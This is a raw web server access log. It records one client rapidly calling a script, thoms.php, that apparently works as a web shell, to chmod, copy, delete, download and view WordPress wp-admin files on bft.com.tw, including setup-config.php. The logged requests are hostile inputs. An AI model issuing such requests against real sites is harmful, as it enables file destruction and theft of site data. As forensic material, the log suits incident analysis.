45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /bft.com.tw/wp-admin/widgets.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?chmod=user-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Finstall.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Finstall.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?chmod=media-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13473 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-general.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Foptions-general.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?chmod=load-scripts.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?del=credits.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28637 "http://163.245.207.76:443/thoms.php?del=credits.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?del=revision.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28635 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?dl=comment.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28636 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:26 -0400] "GET /thoms.php?chmod=install-helper.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?chmod=options-head.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=options-head.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?del=edit-tags.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28637 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Ferror_log&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Ferror_log&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Finstall-helper.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Finstall-helper.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?del=ms-themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28636 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 200 14265 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fasync-upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fasync-upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?chmod=options-media.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /bft.com.tw/wp-admin/about.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?chmod=plugins.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=plugins.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?chmod=import.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?del=users.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?del=users.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?del=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28633 "http://163.245.207.76:443/thoms.php?del=edit-form-blocks.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:27 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fterm.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fterm.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?del=upload.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28631 "http://163.245.207.76:443/thoms.php?del=upload.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26246 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?del=admin.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28632 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13023 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?chmod=setup-config.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=setup-config.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?dl=options-discussion.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28632 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?chmod=upgrade-functions.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=upgrade-functions.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22454 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /bft.com.tw/wp-admin/media-new.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?dl=contribute.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28634 "http://163.245.207.76:443/thoms.php?dl=contribute.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:28 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /bft.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?chmod=custom-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?dl=media-new.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?del=theme-editor.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28623 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /bft.com.tw/wp-admin/options-discussion.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /bft.com.tw/wp-admin/revision.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?dl=moderation.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28621 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?chmod=link.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12317 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?dl=setup-config.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28645 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fms-edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?dl=ms-themes.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprofile.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fprofile.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:29 -0400] "GET /thoms.php?dl=options-general.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?dl=options-general.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12649 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /bft.com.tw/wp-admin/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14365 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?del=edit.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28644 "http://163.245.207.76:443/thoms.php?del=edit.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?dl=menu-header.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28644 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?del=ms-options.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28642 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /bft.com.tw/wp-admin/images/ HTTP/1.1" 200 3212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?dl=update-core.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28643 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fabout.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fabout.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=credits.php HTTP/1.1" 200 13331 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=credits.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12638 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /bft.com.tw/wp-admin/load-styles.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:30 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fimport.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fimport.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmenu.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11422 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fmenu.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 11990 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 11994 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /bft.com.tw/wp-admin/custom-background.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?chmod=custom-background.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=custom-background.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustom-background.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-admin%2Fcustom-background.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:31 -0400] "GET /thoms.php?chmod=menu.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11501 "http://163.245.207.76:443/thoms.php?chmod=menu.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
